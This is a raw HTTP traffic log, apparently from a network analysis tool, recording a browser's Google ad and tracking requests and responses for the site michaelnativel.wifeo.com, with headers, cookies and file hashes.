GET /pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264 HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * X-Content-Type-Options: nosniff Content-Encoding: gzip Date: Tue, 13 Feb 2018 14:02:41 GMT Server: cafe Cache-Control: private X-XSS-Protection: 1; mode=block Set-Cookie: test_cookie=CheckForPermission; expires=Tue, 13-Feb-2018 14:17:40 GMT; path=/; domain=.doubleclick.net Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Expires: Tue, 13 Feb 2018 14:02:41 GMT Transfer-Encoding: chunked --- Additional Info --- Magic: gzip compressed data, max compression Size: 6232 Md5: 7e865ff8d1510a2869827bd73d19ec11 Sha1: 773f8e34d9754a8b4470321d93051d778fd92583 Sha256: 30e6e209612491d0f0edbc0dc74e414245435ca427539657c4feba44dd0c65f0
GET /pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606 HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * X-Content-Type-Options: nosniff Content-Encoding: gzip Date: Tue, 13 Feb 2018 14:02:41 GMT Server: cafe Cache-Control: private X-XSS-Protection: 1; mode=block Set-Cookie: test_cookie=CheckForPermission; expires=Tue, 13-Feb-2018 14:17:40 GMT; path=/; domain=.doubleclick.net Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Expires: Tue, 13 Feb 2018 14:02:41 GMT Transfer-Encoding: chunked --- Additional Info --- Magic: gzip compressed data, max compression Size: 5280 Md5: d2c939a9a763084bd2781468e5717aa7 Sha1: da5449a3b7e58d355f4c39f042234925bc483509 Sha256: 1c71cbca09825fd46b70e8b5239f8441e914792bb03ead8bf62b14a670c098ae
GET /pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560105&bpp=4&fdt=349&idt=445&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=3781&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=3&dtd=471 HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * X-Content-Type-Options: nosniff Content-Encoding: gzip Date: Tue, 13 Feb 2018 14:02:41 GMT Server: cafe Cache-Control: private X-XSS-Protection: 1; mode=block Set-Cookie: test_cookie=CheckForPermission; expires=Tue, 13-Feb-2018 14:17:40 GMT; path=/; domain=.doubleclick.net Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Expires: Tue, 13 Feb 2018 14:02:41 GMT Transfer-Encoding: chunked --- Additional Info --- Magic: gzip compressed data, max compression Size: 5279 Md5: 961f2d3aa4404957af70f1e9896e17ee Sha1: 7d406516ce789ffe07cceece2e7d1500aa908360 Sha256: cd6332002eadc9c749ab77dbd1393d22e19879170c80d39c0afd8c0307c36152
GET /pagead/adview?ai=CqVVLAPCCWrTuOY2fYtW1hBDFx5-9Tb7QuIXlAsCNtwEQASAAYMPcpIWYGIIBF2NhLXB1Yi01NDM5Mjg1MjAzNTE1NzIzyAEJqQJH_UzW4DGGPqgDAaoEnQFP0IPuL8cZhkRmQuihB5gUEF5PEbRJS4we5jaYvowbDd5UahqaBIX1u5mua8xYIk7-6kHjKOkcfAOAB5o9Q0oKON9MHOjV3sH7ycON_HXR2pG016TJRvkFfslJ64UxsQFGP5Tkqsl_78pN7HKwnjZi99ZbRfMqq9n7uKckfQEbrl9a1cjg60hifiquMSaXWlXEcfEN7KGzQaVkil1YgAbinrmRmbDIt4IBoAYhqAemvhvYBwDSCAUIgGEQAQ&sigh=QUTsYDxd6KI&vis=0 HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560084&bpp=20&fdt=229&idt=331&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=3546&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=2&dtd=358 Cookie: test_cookie=CheckForPermission	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * X-Content-Type-Options: nosniff Date: Tue, 13 Feb 2018 14:02:41 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 1; mode=block Set-Cookie: test_cookie=; domain=.doubleclick.net; path=/; expires=Mon, 21 Jul 2008 23:59:00 GMT IDE=AHWqTUmhamAluVk5VusCF0YB4dFjgUjzMmKMWmdtMqrAmLV-qLxnattUPCYzB7v-; expires=Thu, 13-Feb-2020 14:02:41 GMT; path=/; domain=.doubleclick.net; HttpOnly Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Expires: Tue, 13 Feb 2018 14:02:41 GMT Cache-Control: private --- Additional Info ---
GET /pagead/adview?ai=Ci7J6APCCWvfwOdWvYraHqfAPxcefvU2-0LiF5QLAjbcBEAEgAGDD3KSFmBiCARdjYS1wdWItNTQzOTI4NTIwMzUxNTcyM8gBCakCE2Tw8uI0hj6oAwGqBJ0BT9AXMOfUVSiY5DJGcZeodxVkiGoBS11ntOjOZwxDrh9-mzTHnXg2eWWWiqxAf1zeVzkTrOvXfstUGDb_z1BBD9K73koNB2EvobUZja8uOH0QliJshPlT59p34w749vVF9zZTITJysmHHKUtlTTJ6odGu8p98D4LA7POw50Gqq8tbrfjA31RCagf8o_LrQ5e6xWeb5kppnLzyg3_q1IAG4p65kZmwyLeCAaAGIagHpr4b2AcA0ggFCIBhEAE&sigh=pmkgUjnXBCE&vis=0 HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264 Cookie: test_cookie=CheckForPermission	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * X-Content-Type-Options: nosniff Date: Tue, 13 Feb 2018 14:02:41 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 1; mode=block Set-Cookie: test_cookie=; domain=.doubleclick.net; path=/; expires=Mon, 21 Jul 2008 23:59:00 GMT IDE=AHWqTUlx0HmJEhDMT4WtZ6sCm0-T068xoaRtJGurvmP61rcZ5lBLXFJMjKYbMU7I; expires=Thu, 13-Feb-2020 14:02:41 GMT; path=/; domain=.doubleclick.net; HttpOnly Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Expires: Tue, 13 Feb 2018 14:02:41 GMT Cache-Control: private --- Additional Info ---
GET /pagead/gen_204?id=xbid&dbm_b=AKAmf-Awqk0r7u7292FFhunl1eGEPdh65X2EEJwkBaPpGPrtVeRRi1K0OymG9nAOjxQDeSdjZAchDJ5n_1PcnagK580L84p0Wi8qDIGwne2AdPq1mIk-Ai4 HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606	172.217.22.162 HTTP/1.1 200 OK Content-Type: image/gif P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:41 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 42 Md5: d89746888da2d9510b64a9f031eaecd5 Sha1: d5fceb6532643d0d84ffe09c40c481ecdf59e15a Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
GET /xbbe/pixel?d=COD5IRD7n5MBGO3Xwi0wAQ&v=APEucNXdPIp-0rBWF8KlZZR-OuF2mnBAjXXkypYqIIjb68ET4GfiPd7oxAVXuI3kKAD21n2WZnYv HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606 Cookie: test_cookie=CheckForPermission	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * X-Content-Type-Options: nosniff Content-Encoding: gzip Date: Tue, 13 Feb 2018 14:02:41 GMT Server: cafe Cache-Control: private X-XSS-Protection: 1; mode=block Set-Cookie: test_cookie=; domain=.doubleclick.net; path=/; expires=Mon, 21 Jul 2008 23:59:00 GMT IDE=AHWqTUnKipjzrf9N3358FSf4m_WfIdoKjmxJ6yxoVUFe1NgBsjA95z_LIvLSzvSK; expires=Thu, 13-Feb-2020 14:02:41 GMT; path=/; domain=.doubleclick.net; HttpOnly Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Expires: Tue, 13 Feb 2018 14:02:41 GMT Transfer-Encoding: chunked --- Additional Info --- Magic: gzip compressed data, max compression Size: 214 Md5: 02247d909a831178bfbddac723940ebd Sha1: 9d29a593fe8e22024b5091691df54e3a02a3ba82 Sha256: 48647fe897d3f952a9ad4422e05ed61869c9bf0d2108a78bd2eba0f5eed26446
GET /dbm/ad?dbm_c=AKAmf-CMFjlCYhF4bXqL7oYsQ_ktpQqAq_4_kFCFyARe5rgRQloDs5jtWqcJpO3OXxtKG-hITomA&dbm_d=AKAmf-Bu8n8zpWL0MZ--6xkxKwTJhHkQJItJ0qr1ue_AJ101guX1nQNBCp_PyGzPKQIJ1jrc2QGN_kWsmdEyndmKDSQVfI74nEslDUkqCD_C8PgNokAKGwTCnKUvOdvML40dX50_vfzW9_JlENFDzIOlatXPhGFOjunS5va2ZTAdv26z4cXFlqXmscnyTvicIxF16e0XM7-eHc5DaTl5qc6476Q1Fd6hOLvP_hNk152Y_fh3cRYnpL8f5R4GqfYdhDIv3t8gJxRwqQVKRZsH1NegexOF8yfWtux3AoG4ChnZP3DmLIwEsLa4JpOIqCn3hYkmTUf-0DgTMba-rqMtKdZw8Hb_AmO6P22GjGKwdRyDvg4VnXnYf8wxNydhAqH069msLhr4-usi5a6GxEHiJ6Tso4uuwcUjO_JFUgoSk-jCbq7rcIVPbQEHuWCG0RUVRV_KIZgkcPvzbg09UacNFQL57p9R1OLNfL5xoTJ7juD6DGEqlnYER9XbRQ_cduaUz0UkuX3H_vX_uDxpr_TA_OKNWsbkP-mvZ731w5podjF-ugYN62Mrj83laH7yLr-tBi3_nxjoM6BNug7sL5fAA5Vk3j5QaRIzGmuzOkngcNMyzuomVaLE5MhWl-QunbaHlvUvC1F1wqdjfz3e9Td3KySZwOuPMvxKycGomjdgwdF03X26hEaRChIbkn5uZCZ-3mAxh91Se_g7O6XK9rUNEi-Xa8AXVX8g6sP67vB568JPyLOzjcGoUZQSmy2_QJrwwi8NowIUwW1m21Hvj4GBxs0DMScN93EN-ekqbFcCtKfFdNDP14LvJT0eopPp1SoDKod5zTf1vStq2U1euV-GZeHBkunBHNOVGxgZHpcgxTPTdqcp0JPPEfpF3dFzC1XUxYEH2tt5lO4w406rl8UxE7MvAW-w34DiW9CPiJ16IrJxHtMXmrxS0WbgnyYAkZll-ysV9pXoXd7ZmFI2OrB20Gsoo3WisJOKspMU2BmiklLvaF0IStnSNNnPoq9UVyxO8x-h3PIySe0ClEVkjJ0MS25N0ILrcBwvPxhy4uECzI6ACkewJ5d93ERxM7jMgUup0oqID6IlOsGEx4Q4OOANXeFbIf6aO9Gg2nf-Y6z8v3uEGeJXQIg1dDxmrFXdz2Tfz6MAcvFXzHiEBZWO8KnXdDvbD201ZSgvWgCgq-uvirH97pYc81kCSN8rEl2Z65nLFJBD55rX3b5xzgHRJItjaHZQWJOi2wv-EZW8ieTjPJ3JVT-gFLS7q4CpiVDkwgZVWYlCKNIJ8YH9sCmlX1CUJy6mqIvg0DEmKy1E2dMAjl8wTS9liQgrXsmzlhxzYyV9MDq03LB_R7zNBEkB7pcTkOBS9cnrPmnPeO-mXfMlgkAkbd91dtxuS2CBiYtCcZH4k2V8lNJ7Rq0w_E08caJEyxjYcdeuSBeTtbHrw0uXm8vkSMshIAZ5taWC71eAqe2ve36VL-EnOgkRBFORSdLoW07KoEXW4Q4CSkyS-b0e4uUaakOWawX5-sOD9GZ-38_-5IAYUZWaUb812tcIgCzDdJQAOqIHvNV-CroCNNuyPoevy6eY8EOuENCtDu1HVDm37DA00wCgxsjNoMaSl_RVSizUXokBKVdKMznZv9Z0w_HrUBheuyTiXTw&cid=CAASBORokGo&rfl=3%2C%2Chttp%253A%252F%252Fmichaelnativel.wifeo.com%252F%240 HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606 Cookie: test_cookie=CheckForPermission	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:41 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Server: cafe X-XSS-Protection: 1; mode=block Set-Cookie: IDE=AHWqTUnn2NtYWl1hZdKDFQWtlBKeVpNX62MFUtF1iTm6eK6fGtFI8OdXNF2X6wUB; expires=Thu, 13-Feb-2020 14:02:41 GMT; path=/; domain=.doubleclick.net; HttpOnly test_cookie=; domain=.doubleclick.net; path=/; expires=Mon, 21 Jul 2008 23:59:00 GMT Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Transfer-Encoding: chunked --- Additional Info --- Magic: gzip compressed data, max compression Size: 10862 Md5: e8af50a817f03b315617f2e8c97e42ed Sha1: ff7beb18dc4697e24baf6be5baefd155e3a1f7fc Sha256: 6c5bda340d298836354d705fe351f966af4d68fcd71c383dea346a6dd5d1a1ed
